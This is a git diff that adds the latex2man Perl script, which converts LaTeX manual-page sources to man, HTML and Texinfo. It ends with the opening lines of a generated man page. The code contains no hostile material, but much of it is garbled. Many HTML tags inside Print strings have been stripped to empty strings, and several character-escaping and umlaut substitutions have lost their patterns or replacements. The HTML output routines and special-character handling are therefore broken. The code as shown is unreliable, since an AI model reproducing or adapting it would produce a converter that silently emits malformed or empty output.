$texiMacro{'SPfirst'} = '.@ '; +} + +$texiMacro{'~'} = ' '; +$texiMacro{'|'} = '|'; +$texiMacro{'<'} = '<'; +$texiMacro{'>'} = '>'; +$texiMacro{'<='} = '<='; +$texiMacro{'>='} = '>='; +$texiMacro{'='} = '='; +$texiMacro{'<>'} = '<>'; +$texiMacro{'{'} = '@{'; +$texiMacro{'}'} = '@}'; +$texiMacro{'_'} = '_'; +$texiMacro{'$'} = '$'; +$texiMacro{'#'} = '#'; +$texiMacro{'&'} = '&'; +$texiMacro{'%'} = '%'; +$texiMacro{'-'} = '@-'; +$texiMacro{','} = ' '; + +$texiMacro{'\\'} = '@*\n'; # line break +$texiMacro{'\\Tab'} = '\n'; # end of column in a table environment + +# LaTeX macros with one argument +$texiMacro1a{'emph'} = '@emph{'; $texiMacro1b{'emph'} = '}'; +$texiMacro1a{'textbf'} = '@strong{'; $texiMacro1b{'textbf'} = '}'; +$texiMacro1a{'texttt'} = '@t{'; $texiMacro1b{'texttt'} = '}'; +$texiMacro1a{'verb'} = '@t{'; $texiMacro1b{'verb'} = '}'; +$texiMacro1a{'underline'} = ''; $texiMacro1b{'underline'} = ''; +$texiMacro1a{'section'} = '\n@section '; $texiMacro1b{'section'} = '\n'; +$texiMacro1a{'subsection'} = '\n@subsection '; $texiMacro1b{'subsection'} = '\n'; +$texiMacro1a{'subsubsection'} = '\n@subsubsection '; $texiMacro1b{'subsubsection'} = '\n'; + +$texiMacro1a{'Prog'} = ''; $texiMacro1b{'Prog'} = ''; +$texiMacro1a{'File'} = '@file{'; $texiMacro1b{'File'} = '}'; +$texiMacro1a{'Opt'} = ''; $texiMacro1b{'Opt'} = ''; +$texiMacro1a{'oOpt'} = '[ '; $texiMacro1b{'oOpt'} = ' ]'; +$texiMacro1a{'Arg'} = '@var{'; $texiMacro1b{'Arg'} = '}'; +$texiMacro1a{'oArg'} = '[ @var{'; $texiMacro1b{'oArg'} = '} ]'; +$texiMacro1a{'Email'} = '@email{'; $texiMacro1b{'Email'} = '}'; +$texiMacro1a{'URL'} = '@url{'; $texiMacro1b{'URL'} = '}'; + +# LaTeX macros with two arguments +$texiMacro2a{'Cmd'} = ''; + $texiMacro2b{'Cmd'} = '('; + $texiMacro2c{'Cmd'} = ')'; +$texiMacro2a{'OptArg'} = ''; + $texiMacro2b{'OptArg'} = '@var{'; + $texiMacro2c{'OptArg'} = '}'; +$texiMacro2a{'OptoArg'} = ''; + $texiMacro2b{'OptoArg'} = '[@var{'; + $texiMacro2c{'OptoArg'} = '}]'; +$texiMacro2a{'oOptArg'} = '[ '; + $texiMacro2b{'oOptArg'} = '@var{'; + $texiMacro2c{'oOptArg'} = '} ]'; +$texiMacro2a{'oOptoArg'} = '[ '; + $texiMacro2b{'oOptoArg'} = '[@var{'; + $texiMacro2c{'oOptoArg'} = '}] ]'; +$texiMacro2a{'setlength'} = ''; + $texiMacro2b{'setlength'} = ''; + $texiMacro2c{'setlength'} = ''; + +######################################################################## +# reading of translations for user macros + +if ($opt_t) { + do $opt_t; +} + +######################################################################## +# processing for MAN + +sub manStart +{ + printf DEST "\'\\\" t\n"; # process with tbl + printf DEST ".\\\" Manual page created with $CMD on $gen_date\n"; + printf DEST ".\\\" NOTE: This file is generated, DO NOT EDIT.\n"; + + # Definitionen von Verbatimbegin and Verbatimend + Print ".de Vb\n.ft CW\n.nf\n..\n.de Ve\n.ft R\n\n.fi\n..\n"; + + Print ".TH \"$Name\" \"$chapter\" \"". $date ."\" \""; + interpret_word "$tool"; + Print "\" \""; interpret_word "$tool"; Print "\""; NL; + # thanks to Andrew Anderson +} +sub manEnd +{ + NL; printf DEST ".\\\" NOTE: This file is generated, DO NOT EDIT.\n"; +} +sub manSection +{ + my ($cnt, $kind, $section) = @_; + if ($kind ne "subsubsection"){ + $section = uc $section; + } + interpret_line "\\$kind\{$section\}"; +} +sub manParagraph +{ + if (!$paragraph) { + if ($manRS == 0 && $list_nest > 1) { + Print '\n.RS'; + $manRS = 1; + } + Print '\n.PP\n'; + $paragraph = 1; + } +} +sub manVerb +{ + my $arg = $_[0]; + if ($arg =~ /^\./) { print DEST '\\&' }; + Print $arg +} +sub manItemWithArg +{ + my $arg = $_[0]; + if ($manRS == 1) { + Print '\n.RE\n'; + } + $manRS = 0; + Print '\n.TP\n'; + interpret_word $arg; + PrintM ' '; + NL; +} +sub manItem +{ + if ($manRS == 1) { + Print '\n.RE\n'; + } + $manRS = 0; + Print '\n.TP\n'; + if ($cur_list[$list_nest] eq 'item') { + Print '.B *'; + } elsif ($cur_list[$list_nest] eq 'enum') { + Print $item_nr[$list_nest] . '.'; + } + NL; +} +sub manDescriptionStart +{ + if ($list_nest > 1) { + Print '\n.RS\n'; + } +} +sub manDescriptionEnd +{ + if ($manRS) { + Print '\n.RE\n'; + $manRS == 0; + } + if ($list_nest > 1) { + Print '\n.RE\n'; + } + manParagraph; +} +sub manItemStart +{ + if ($list_nest > 1) { + Print '\n.RS\n'; + } +} +sub manItemEnd +{ + if ($manRS) { + Print '\n.RE\n'; + $manRS == 0; + } + if ($list_nest > 1) { + Print '\n.RE\n'; + } + manParagraph; +} +sub manEnumEnd +{ + if ($manRS) { + Print '\n.RE\n'; + $manRS == 0; + } + if ($list_nest > 1) { + Print '\n.RE\n'; + } + manParagraph; +} + +sub manEnumStart +{ + if ($list_nest > 1) { + Print '\n.RS\n'; + } +} +sub manCenterStart +{ + PrintM '\n.ce 100\n'; +} +sub manCenterEnd +{ + PrintM '\n.ce 0\n'; +} +sub manNameStart +{ + interpret_line "\\section\{NAME\}$rest"; +} +sub manNameEnd +{ + # nothing +} +sub manTableStart +{ + my $columns = $_[0]; + my $i; + manParagraph; + Print '.TS H\n'; + for ($i = 1; $i <= $columns; $i++) { + Print "l "; + } + Print '.\n'; +} +sub manTableSep +{ + $newline = 0; # even after a new line we want this tab + Print "\t"; +} +sub manTableEnd +{ + Print '\n.TE\n'; + manParagraph; +} + +sub manVerbatimStart +{ + Print '\n.Vb\n'; +} + +sub manVerbatimEnd +{ + Print '.Ve\n'; +} + +sub manVerbatimLine +{ + s/\\/\\\\/g; + s/-/\\-/g; + print DEST "$_"; +} + +########################################################################### +# processing for HTML + +sub htmlStart +{ + Print ""; NL; + Print ""; NL; + Print ""; NL; + Print "$Name"; NL; + Print ""; NL; + Print "

"; NL; + interpret_line $title; + Print "

"; NL; + Print "

"; interpret_word $author; Print "

"; NL; + Print "

$date

"; NL; + Print "

Version $version

"; NL; +} +sub htmlEnd +{ + Print ""; NL; + Print ""; NL; + Print ""; NL; +} +sub htmlSection +{ + my ($cnt, $kind, $section) = @_; + interpret_line "\\$kind\{$cnt\}\{$section\}"; +} +sub htmlCenterStart +{ + Print '\n
\n'; +} +sub htmlCenterEnd +{ + Print '\n
\n'; +} +sub htmlNameStart +{ + # nothing +} +sub htmlNameEnd +{ + Print '\n@@INSERTION-POINT@@-TOC@@\n'; +} +sub htmlParagraph +{ + if (!$paragraph) { + NL; Print "

"; NL; + $paragraph = 1; + } +} +sub htmlVerb +{ + $arg = $_[0]; + $arg =~ s/&/&/g; + $arg =~ s/>/>/g; + $arg =~ s/ 1) { + NL; Print ""; NL; + } + Print "

"; + interpret_word $arg; Print "
"; NL; + Print "
"; +} +sub htmlItem +{ + if ($item_nr[$list_nest] > 1) { + Print '\n'; + } + if ($cur_list[$list_nest] eq 'item') { + Print '
  • '; + } elsif ($cur_list[$list_nest] eq 'enum') { + Print '
  • '; + } +} +sub htmlDescriptionStart +{ + NL; Print "
    "; NL; +} +sub htmlDescriptionEnd +{ + NL; Print "
  • \n"; NL; +} +sub htmlItemStart +{ + NL; Print "
      "; NL; +} +sub htmlItemEnd +{ + NL; Print "\n
    "; NL; +} +sub htmlEnumStart +{ + NL; Print "
      "; NL; +} +sub htmlEnumEnd +{ + NL; Print "\n
    "; NL; +} +sub htmlTableStart +{ + my $columns = $_[0]; + NL; Print ""; NL: +} +sub htmlTableSep +{ + if ($first_column == 0) { + Print '\n'; + } + Print '
    '; +} +sub htmlTableEnd +{ + NL; Print "
    "; NL; +} + +sub htmlVerbatimStart +{ + NL; Print '
    '; NL;
    +}
    +
    +sub htmlVerbatimEnd
    +{
    +    Print '
    '; NL; +} + +sub htmlVerbatimLine +{ + s/&/&/g; + s//>/g; + print DEST "$_"; +} + +########################################################################### +# processing for TexInfo + +sub texiStart +{ + Print '\input texinfo @c -*-texinfo-*-'; NL; + Print '@c %**start of header'; NL; + Print '@setfilename ' . "$name.info"; NL; + Print '@settitle ' . "$name"; NL; + Print '@c %**end of header'; NL; + Print '@c Manual page created with' ." $CMD on $gen_date>"; NL; + Print '@c NOTE: This file is generated, DO NOT EDIT.'; NL; +} +sub texiEnd +{ + Print '@bye'; NL; + Print '@c NOTE: This file is generated, DO NOT EDIT.'; NL; +} +sub texiSection +{ + my ($cnt, $kind, $section) = @_; + if (uc $sections[$cnt-1] eq "SYNOPSIS") { + Print '\n@@INSERTION-POINT@@-TOC@@\n'; + $sections[$cnt-1] = "Top"; # The predecessor node is Top and not SYNOPSIS + } + if (uc $sections[$cnt] eq "SYNOPSIS") { + $cnt == 1 || + die "$CMD: The Synopsis section must be the first section after\n" . + "\t the Name environment\n"; + } else { + Print '\n@@INSERTION-POINT@@-TEXI-SEC@@' . " $kind $cnt" . '\n'; + } + interpret_line "\\$kind\{$section\}"; +} +sub texiNameStart +{ + my ($name, $chapter, $author, $tool) = @_; + $sections[0] = "Top"; + # Print '@dircategory ' .$tool; NL; + Print '@dircategory Man-pages'; NL; + Print '@direntry'; NL; + Print "* " . (ucfirst $name) . ": ($name). Its Man-Page "; NL; + Print '@end direntry'; NL; + Print '@titlepage'; NL; + Print '@title ' . "$name"; NL; + Print '@subtitle ' . "$tool"; NL; + Print '@author ' . "$author"; NL; + Print '@end titlepage'; NL; + Print '\n@@INSERTION-POINT@@-TEXI-TOP@@'; NL; + Print '@top ' . "$name"; NL; +} +sub texiNameEnd +{ + # nothing +} +sub texiParagraph +{ + if (!$paragraph) { + NL; print DEST "\n"; + $paragraph = 1; + } +} +sub texiVerb +{ + $arg = $_[0]; + $arg =~ s/({|})/\@$1/g; + Print $arg; +} +sub texiItemWithArg +{ + my $arg = $_[0]; + Print '\n@item '; + interpret_word $arg; + NL; +} +sub texiItem +{ + Print '\n@item\n'; +} +sub texiDescriptionStart +{ + Print '\n@table @samp\n'; +} +sub texiDescriptionEnd +{ + Print '\n@end table\n'; +} +sub texiItemStart +{ + Print '\n@itemize @bullet\n'; +} +sub texiItemEnd +{ + Print '\n@end itemize\n'; +} +sub texiCenterStart +{ + $texiCenterLine = 1; + $newline = 0; + $texiMacro{'\\'} = '@*'; # line break + $texiMacro{'TEXIbr'} = '@*'; + NL; +} +sub texiCenterEnd +{ + $texiCenterLine = 0; + $newline = 0; + $texiMacro{'\\'} = '@*\n'; # line break + $texiMacro{'TEXIbr'} = '@*\n'; + NL; +} + +sub texiEnumStart +{ + Print '\n@enumerate\n'; +} +sub texiEnumEnd +{ + Print '\n@end enumerate\n'; +} +sub texiTableStart +{ + my $columns = $_[0]; + my $i; + Print '\n@multitable @columnfractions '; + for ($i = 1; $i <= $columns; $i++) { + Print " " .0.9/$columns ; + } + Print '\n'; +} +sub texiTableSep +{ + Print '@tab '; +} +sub texiTableEnd +{ + Print '\n@end multitable\n'; +} + +sub texiVerbatimStart +{ + NL; + Print '@*'; NL +} + +sub texiVerbatimEnd +{ + NL; +} + +sub texiVerbatimLine +{ + s/({|}|@| )/@\1/g; + chop; + print DEST ".$_\@*\n"; +} + +########################################################################### +########################################################################### +# general processing + +# emit an error message is the given macro does not exists. +sub check_Macro +{ + exists $Macro->{$_[0]} || + die "Error in line $.: no such macro: \\$_[0]\n"; +} +sub check_Macro1 +{ + (exists $Macro1a->{$_[0]} && exists $Macro1b->{$_[0]}) || + die "$CMD: Error in line $.: no such macro: \\$_[0]\n"; +} +sub check_Macro2 +{ + (exists $Macro2a->{$_[0]} && exists $Macro2b->{$_[0]} && exists $Macro2c->{$_[0]}) || + die "$CMD: Error in line $.: no such macro: \\$_[0]\n"; +} + +sub NL +{ + if (!$newline) { + printf DEST "\n"; + if ($texiCenterLine) { + print DEST "\@center "; + } + $newline = 1; + } +} + +sub interpret_word +{ + if (@_ <= 0) { + return; + } + $_ = join " ", @_; + my ($s,$m,$a1,$a2,$r); # start, match/macro, argument1, argument2 + my $add_blank = 1; # if true, add a blank after the word + if ($opt_D == 2) { + if ($nesting == 0) { + print "**** "; + } else { + print " "; + } + print "\`$_'\n"; + } + + if ($opt_H) { + # handling of HTML table rows + if ($inside_table == 1) { + if ($first_column == 1) { + if (/^$/) { + return; + } + if (/^\\hline/) { + Print '\n
    \n'; + } + Print '\n\n'; + } + $first_column = 0; + } + } elsif ($opt_T) { + # handling of TexInfo specific stuff + if ($nesting == 0) { + s'@'@@'g; + } + if ($inside_table == 1) { + if ($first_column == 1) { + Print '\n@item '; + } + $first_column = 0; + } + } + + $nesting ++; + + SWITCH: { + /^$/ && do {$add_blank = 0; + last SWITCH; + }; + /\\verb\+([^+]*)\+/ && do {$s=$`;$m=$1;$r=$'; + interpret_word $s; + PrintM $Macro1a->{'verb'}; + &{$Prefix . "Verb"} ($m); + PrintM $Macro1b->{'verb'}; + interpret_word $r; + last SWITCH; + }; + /\\(".|ss)/ && do {$s=$`;$m=$1;$r=$'; #" + interpret_word $s; + check_Macro $m; + PrintM $Macro->{$m}; + interpret_word $r; + last SWITCH; + }; + /\\item\s*\[([^]]*)\]/ && do {$s=$`;$m=$1;$r=$'; + interpret_word $s; + $item_nr[$list_nest] ++; + &{$Prefix . "ItemWithArg"} ($m); + interpret_word $r; + last SWITCH; + }; + /\\item\s*/ && do {$s=$`;$r=$'; + interpret_word $s; + $item_nr[$list_nest] ++; + &{$Prefix . "Item"}; + interpret_word $r; + last SWITCH; + }; + # LaTeX macros with two arguments + /\\([a-zA-Z]+){([^}]*)}{([^}]*)}/ + && do {$s=$`;$m=$1;$a1=$2;$a2=$3;$r=$'; + check_Macro2 $m; + interpret_word $s; + PrintM $Macro2a->{$m}; + interpret_word $a1; + PrintM $Macro2b->{$m}; + interpret_word $a2; + PrintM $Macro2c->{$m}; + interpret_word $r; + NL; + last SWITCH; + }; + # Special Handling of Email and URL LaTeX macros with one argument + /\\(URL|Email){([^}]*)}/ && ($opt_H) + && do {$s=$`;$m=$1;$a1=$2;$r=$'; + interpret_word $s; + PrintM $Macro2a->{$m}; + interpret_word $a1; + PrintM $Macro2b->{$m}; + interpret_word $a1; + PrintM $Macro2c->{$m}; + interpret_word $r; + NL; + last SWITCH; + }; + # LaTeX macros with one argument + /\\([a-zA-Z]+){([^}]*)}/ && do {$s=$`;$m=$1;$a1=$2;$r=$'; + check_Macro1 $m; + interpret_word $s; + PrintM $Macro1a->{$m}; + interpret_word $a1; + PrintM $Macro1b->{$m}; + interpret_word $r; + NL; + last SWITCH; + }; + # Special handling of some LaTeX macros without an argument + /\\SP\s*/ && do {$s=$`;$m=$1;$r=$'; + interpret_word $s; + if ($first_word) { + PrintM $Macro->{"SPfirst"}; + } else { + PrintM $Macro->{"SP"}; + } + interpret_word $r; + $add_blank = 0; + last SWITCH; + }; + /\\(MANbr|TEXIbr|HTMLbr)\s*/ && do {$s=$`;$m=$1;$r=$'; + # set $first_word to true + check_Macro $m; + interpret_word $s; + PrintM $Macro->{$m}; + $first_word = 1; + interpret_word $r; + $add_blank = 0; + last SWITCH; + }; + # LaTeX macros without an argument: + /\\([a-zA-Z]+)\s*/ && do {$s=$`;$m=$1;$r=$'; + check_Macro $m; + interpret_word $s; + PrintM $Macro->{$m}; + interpret_word $r; + $add_blank = 0; + last SWITCH; + }; + /\\({|}|\$|_|#|&|-|%|,|\.|;)/ && do {$s=$`;$m=$1;$r=$'; + interpret_word $s; + PrintM $Macro->{$m}; + interpret_word $r; + last SWITCH; + }; + # LaTeX Math + /\$(<|>|<=|>=|=|<>)\$/ && do {$s=$`;$m=$1;$r=$'; + interpret_word $s; + PrintM $Macro->{$m}; + interpret_word $r; + last SWITCH; + }; + /\$([^\$]*)\$/ && do {$s=$`;$m=$1;$r=$'; + interpret_word $s; + interpret_word $m; + interpret_word $r; + last SWITCH; + }; + /&/ && do {$s=$`;$r=$'; + interpret_word $s; + &{$Prefix . "TableSep"}; + $first_column = 0; + interpret_word $r; + last SWITCH; + }; + /~/ && do {$s=$`;$r=$'; + interpret_word $s; + PrintM $Macro->{'~'}; + interpret_word $r; + last SWITCH; + }; + /\\\\/ && do {$s=$`;$r=$'; + interpret_word $s; + if ($inside_table) { + PrintM $Macro->{'\\Tab'}; + $first_column = 1; + if (length ($r) > 0) { + interpret_word $r; + } + } else { + PrintM $Macro->{'\\'}; + $first_word = 1; + interpret_word $r; + } + last SWITCH; + }; + /\\$|\\ / && do {$s=$`;$r=$'; + # LaTeX explicit blank \ will be + # represented as a single \ at + # the end of the word + interpret_word $s; + Print " "; + interpret_word $r; + last SWITCH; + }; + /\\/ && do {$s=$`;$r=$'; + interpret_word $s; + interpret_word "\\$r"; + last SWITCH; + }; + ($ManCode == 1) && /((^\.|')+)/ && do {$s=$`;$m=$1;$r=$'; + interpret_word $s; + print DEST "\\&$m"; + $newline = 0; + interpret_word $r; + last SWITCH; + }; + Print "$_"; + }; + $nesting --; + Print " " if ($nesting == 0 && $add_blank); +} + +sub interpret_line +{ + my $line = $_[0]; chomp $line; + my @words = split(/\s+/,$line); + my $max = $#words; + my $i; + my $join = 0; # true, if words must be joined + my $word = ""; # the joined word + my $kind = 0; # 1: item[ .. ], 2: { .. }, 3: \verb+ .. + + if ($max < 0) { + # empty line marks a paragraph + &{$Prefix . "Paragraph"}; + $first_word = 1; + return; + } + for ($i = 0; $i <= $max; $i++) { + $_ = $words[$i]; + # printf "\`$words[$i]'"; + if (/^[\s]*$/) { # skip leading blanks + # nothing + } elsif ((!$join || ($kind != 3)) && /^%+/) { # skip comments + last; + } else { + # if blanks in a { .. }, \item[ .. ], \verb+ .. + then we have to joind words + if ($join) { + # check whether this is the last word to be joined + if ($kind == 1) { # item + $join = index ($_, "]") == -1; + } elsif ($kind == 2) { # braces + my @x = $_ =~ /[^\\]}/g; + $join = $#x == -1; + } elsif ($kind == 3) { # verb + $join = index ($_, "+") == -1; + } + $word .= " " . $words[$i]; + if (!$join) { + interpret_word $word; + $word = ""; + } + } else { + # check whether we have to join some words + if (/\\item/) { + my $cnt1 = tr/[/[/; + my $cnt2 = tr/]/]/; + $join = $cnt1 != $cnt2 | $cnt1 == 0; + $kind = 1; + } elsif (/\\verb/) { + my $cnt = tr/+/+/; + $join = $cnt % 2 != 0; + $kind = 3; + } else { + my @x = $_ =~ /[^\\]{/g; + my @y = $_ =~ /[^\\]}/g; + $join = $#x != $#y; + $kind = 2; + } + if ($join) { + $word = $words[$i]; + } else { + interpret_word $words[$i]; + } + } + } + } + if ($join) { + interpret_word $word; + } + NL; +} + +sub PrintM +# print only for Macro command text +{ + if (@_ <= 0 || length ($_[0]) == 0) { + return; + } + my $l = shift; + my $c; + $l =~ s/\\n/\n/g; + foreach $c (split ("", $l)) { + if ($c eq "\n") { + NL; + $newline = 0; + } else { + print DEST "$c"; + } + } +} + +sub Print +{ + + # printf "\`$_[0]'\n"; + if (@_ <= 0 || length ($_[0]) == 0) { + return; + } + my $x = $_[0]; + + unless ($x =~ /^\s*$/) { + # if other chars than blanks are printed: + $first_word = 0; + } + + if (!$inside_verb) { + # transform special characters + $x =~ s/([])/$LetterCode->{"$1"}/go; + } + + my @parts = split /\\n/, $x, -1; + # -1: trailing \n generates an empty list element + my $i; + for ($i = 0; $i <= $#parts; $i++) { + if ($newline) { + # skip leading blanks after a newline + $parts[$i] =~ s/^\s+//; + } + if (length($parts[$i]) > 0) { + if ($ManCode) { + $parts[$i] =~ s/\\/\\\\/g; + $parts[$i] =~ s/-/\\-/g; + } + printf DEST "%s", $parts[$i]; + $newline = 0; + } + if ($i < $#parts) { + NL; + } + } + $paragraph = 0; +} +######################################################################### + +sub date2str +{ + @EnglishMonthName = ('','January','February','March','April','May','June','July', + 'August','September','October','November','December'); + # split date + my ($Year,$Month,$Day) = split (/\//,$_[0]); + return $Day . " " . $EnglishMonthName[$Month] . " " . $Year; +} + +$rcs_date=`date '+%Y/%m/%d/'`; # date of the man-page, overwritten + # by \rcsInfo +$date = date2str ($rcs_date); +$Macro->{'today'} = $date; + +######################################################################### +my @skip; # stack of skip-flags, 1: skip, 0: don't skip +push @skip, 0; # synthetic "outer most" IF, don't skip +my $last_cond_clause = ""; + +sub handle_conditional_text +{ + $_ = $_[0]; +# printf "skip-stack: %s;\t top = %s\n", join (", ", @skip), $skip[-1]; + if (/^\s*%@%\s+IF\s+([^%]*)\s+%@%\s*$/) { + # produce a program, which evaluates the condition: + my $prog_cond = $1; + $prog_cond =~ s/(\w+)/\$$1/g; + my $prog = ""; + my $var; + foreach $var (keys %cond_name) { + if ($var ne "") { + $prog .= "my \$$var = 1; " # declare set names, + # undeclared ones get value 0 + } + } + $prog .= "return ($prog_cond) ? 0 : 1;"; +# print "\n**** [$prog]\n"; + my $skip = eval $prog; + ($@ eq "") || die "$CMD: error in line $.: wrong condition of `%@% IF.. ($@)\n"; +# print "**** skip=$skip\n"; + + $last_cond_clause = "IF"; + if ($skip[-1] == 1) { + # skip this text, since outer IF skips + push @skip, 1; + } else { + # outer IF is not skipped, hence consider this IF + push @skip, $skip; + } + } elsif (/^\s*%@%\s+ELSE\s+%@%\s*$/) { + ($last_cond_clause =~ /IF/ && ($#skip > 0)) || + die "$CMD: error in line $.: `%@% ELSE %@%' without an `%@% IF..'\n"; + $last_cond_clause = "ELSE"; + if ($skip[-2] == 0) { + $skip[-1] = $skip[-1]? 0 : 1; + } + } elsif (/^\s*%@%\s+END-IF\s+%@%\s*$/) { + $last_cond_clause = "END-IF"; + ($#skip == 0) && + die "$CMD: error in line $.: `%@% END-IF %@%' without an `%@% IF..'\n"; + pop @skip; + } +# print "$last_cond_clause: skip = $skip[-1]\n"; +} + +############################################################################ +# handle LaTeX output +if ($opt_L) { + while () { + if ($opt_D == 1) { + my $line = $_; chop $line; + print "--- \`$line'\n"; + } + + if (/^\s*%@%\s/) { + my $skip = $skip[-1]; + handle_conditional_text ("$_"); + # write %@% directive + print DEST $_; + next; + } + next if ($skip[-1] == 1); + print DEST $_; + } + close (DEST); + exit (0); +} + +############################################################################ +# handle non-LaTeX output + +# read sections +# Variables: $section name of the section in uppercase letters +# $chapter chapter of the man page +# $name name of the man page +# $Name name of the man page in uppercase +# $author author of the man page +# $tool info about the tool set, $name is part of +# $date date +# $version version info +$started = 0; +while () { + if ($opt_D == 1) { + my $line = $_; chop $line; + print "--- \`$line'\n"; + } + + if ((/^\s*%@%\s/) && ($inside_verb==0)) { + my $skip = $skip[-1]; + handle_conditional_text ("$_"); + } + next if ($skip[-1] == 1); + + if ($inside_verb) { + if (/^\s*\\end{verbatim}/) { + if ($started == 1) { + &{$Prefix . "VerbatimEnd"}; + $inside_verb = 0; + } + } else { + &{$Prefix . "VerbatimLine"} ($_); + } + next; + } + + # remove {, } around Umlaute + s/{(\\".)}/\1/g; # " + s/{(\\ss)}/\1/g; + + # normalize special characters + s/\\"a//g; + s/\\"o//g; + s/\\"u//g; + s/\\"A//g; + s/\\"O//g; + s/\\"U//g; + s/\\ss//g; + + if (/^\s*\\rcsInfo \$(.*)\$/) { + my ($rcs_id,$rcs_file,$rcs_revision, + $rcs_date,$rcs_time,$rcs_owner,$rcs_status,$rcs_locker) = split(/\s/,$1); + $date = date2str ($rcs_date); + $Macro->{'today'} = $date; + } elsif (/^\s*\\setDate{\\rcsInfoLongDate}/) { + $Macro->{'Date'} = $date; + } elsif (/^\s*\\setDate{\\today}/) { + $Macro->{'Date'} = $date; + } elsif (/^\s*\\setDate{([^}]*)}/) { + $date = $1; + $date =~ s/~/$Macro->{'~'}/g; + $Macro->{'Date'} = $date; + } elsif (/^\s*\\setVersion{([^}]*)}/) { + $version = $1; + $versin =~ s/~/$Macro->{'~'}/g; + $Macro->{'Version'} = $version; + } elsif (/^\s*\\begin{Name}{([^}]*)}{([^}]*)}{([^}]*)}{([^}]*)}{([^}]*)}/) { + $section = "Name"; + $chapter = $1; + $name = $2; + $Name = uc $name; + $author = $3; + $tool = $4; + $title = $5; + $rest = $'; + $started = 1; + $sections[0] = $section; + $section_cnt = 0; + &{$Prefix . "Start"} ($name, $chapter, $author, $tool, $title); + &{$Prefix . "NameStart"} ($name, $chapter, $author, $tool, $title); + } elsif (/^\s*\\end{Name}/) { + &{$Prefix . "NameEnd"} ($name, $chapter, $author, $tool); + } elsif (/^\s*\\begin{Table}{([^}]*)}/) { + if ($started == 1) { + $columns = $1; + $column = $_[0]; + $inside_table = 1; + $first_column = 1; + &{$Prefix . "TableStart"} ($columns); + } + } elsif (/^\s*\\end{Table}/) { + if ($started == 1) { + $inside_table = 0; + $first_column = 0; + &{$Prefix . "TableEnd"} ($columns); + } + } elsif (/^\s*\\begin{Description}(\[[^]]*\])?/) { + if ($started == 1) { + $list_nest++; + $cur_list[$list_nest] = 'descr'; + $item_nr[$list_nest] = 0; + &{$Prefix . "DescriptionStart"}; + } + } elsif (/^\s*\\end{Description}/) { + if ($started == 1) { + &{$Prefix . "DescriptionEnd"}; + $list_nest--; + } + } elsif (/^\s*\\begin{description}/) { + if ($started == 1) { + $list_nest++; + $cur_list[$list_nest] = 'descr'; + $item_nr[$list_nest] = 0; + &{$Prefix . "DescriptionStart"}; + } + } elsif (/^\s*\\end{description}/) { + if ($started == 1) { + &{$Prefix . "DescriptionEnd"}; + $list_nest--; + } + } elsif (/^\s*\\begin{center}/) { + if ($started == 1) { + &{$Prefix . "CenterStart"}; + } + } elsif (/^\s*\\end{center}/) { + if ($started == 1) { + &{$Prefix . "CenterEnd"}; + } + } elsif (/^\s*\\begin{enumerate}/) { + if ($started == 1) { + $list_nest++; + $cur_list[$list_nest] = 'enum'; + $item_nr[$list_nest] = 0; + &{$Prefix . "EnumStart"} ; + } + } elsif (/^\s*\\end{enumerate}/) { + if ($started == 1) { + &{$Prefix . "EnumEnd"} ; + $list_nest--; + } + } elsif (/^\s*\\begin{itemize}/) { + if ($started == 1) { + $list_nest++; + $cur_list[$list_nest] = 'item'; + $item_nr[$list_nest] = 0; + &{$Prefix . "ItemStart"} ; + } + } elsif (/^\s*\\end{itemize}/) { + if ($started == 1) { + &{$Prefix . "ItemEnd"} ; + $list_nest--; + } + } elsif (/^\s*\\begin{verbatim}/) { + if ($started == 1) { + &{$Prefix . "VerbatimStart"}; + $inside_verb = 1; + } + } elsif (/^\s*\\(subsubsection|subsection|section){([^}]*)}/) { + $kind = $1; + $section = $2; + $section_cnt ++; + $sections[$section_cnt] = $section; + $section_kind[$section_cnt] = $kind; + if ($started == 1) { + &{$Prefix . "Section"} ($section_cnt, $kind, $section); + } + } elsif (/^\s*\\LatexManEnd/) { + last; + } elsif (/^\s*((\\begin{Name|Table|Description})|(\\(sub)?section))/) { + die "$CMD: in line $.\n " . + "Arguments of $1 are not contained in a single " . + "line.\n " . + "Remember: all arguments of a macro must be on the same line.\n"; + } else { + if ($started == 1) { + interpret_line $_; + } + } +} +&{$Prefix . "End"}; + +close DEST; + +if ($opt_H || $opt_T) { + open (TMP, "<$tmp") || die "$CMD: Can't open file \`$tmp' for reading.\n"; + open (DEST, ">$DestFile") || die "$CMD: Can't open file \`$DestFile' for writing.\n"; + while () { + if (/^\@\@INSERTION-POINT\@\@-TOC\@\@$/) { + if ($opt_H) { + # Table of contents for HTML + my $nesting = 0; # nesting of section/subsection/subsubsection + Print '\n

    Table of Contents

    \n'; + for ($i = 1; $i <= $section_cnt; $i++) { + my $cur_nesting = 0; + if ($section_kind[$i] eq "subsubsection") { + $cur_nesting = 3; + } elsif ($section_kind[$i] eq "subsection") { + $cur_nesting = 2; + } elsif ($section_kind[$i] eq "section") { + $cur_nesting = 1; + } + if ($cur_nesting > $nesting) { + # open a new list + Print '\n
      \n' + } + if ($cur_nesting == $nesting) { + # same level, close list item + Print '\n'; + } + if ($cur_nesting < $nesting) { + # close list and list item + for my $i ($cur_nesting .. $nesting-1) { + Print '\n'; + Print '
    \n'; + } + } + # print item + Print "
  • "; + interpret_word $sections[$i]; + Print ""; + $nesting = $cur_nesting; + } + # close remaining lists + for my $i (1 .. $nesting) { + Print '
  • \n'; + Print '\n'; + } + } else { + # Menu of sections for texi + Print '@menu\n'; + for ($i = 2; $i <= $section_cnt; $i++) { + interpret_line "* " . $sections[$i] . "::"; + } + Print '@end menu\n'; + } + } elsif (/\@\@INSERTION-POINT\@\@-TEXI-TOP\@\@/) { + # Texi-top node + Print '@node Top, ' . $sections[2] . ', (dir), (dir)\n'; + } elsif (/\@\@INSERTION-POINT\@\@-TEXI-SEC\@\@ (\w+) (\d+)/) { + # print section header for texi + $kind = $1; + $cnt = $2; + $section = $sections[$cnt]; + Print '@node ' ; + interpret_word "$sections[$cnt], "; + interpret_word "$sections[$cnt+1], "; + interpret_word "$sections[$cnt-1], Top "; + NL; + } else { + print DEST $_; + } + } + close TMP; + close DEST; + unlink $tmp; +} + +######################################################################### + +## Emacs specific: +## Local Variables: *** +## mode: perl *** +## End: *** + diff --git a/docs/latex2man/latex2man.1 b/docs/latex2man/latex2man.1 new file mode 100644 index 0000000..773bc93 --- /dev/null +++ b/docs/latex2man/latex2man.1 @@ -0,0 +1,1057 @@ +'\" t +.\" Manual page created with latex2man on Mo Sep 12 11:20:39 CEST 2005 +.\" NOTE: This file is generated, DO NOT EDIT. +.de Vb +.ft CW +.nf +.. +.de Ve +.ft R + +.fi +.. +.TH "LATEX2MAN" "1" "2005/09/12" "Documentation Tools " "Documentation 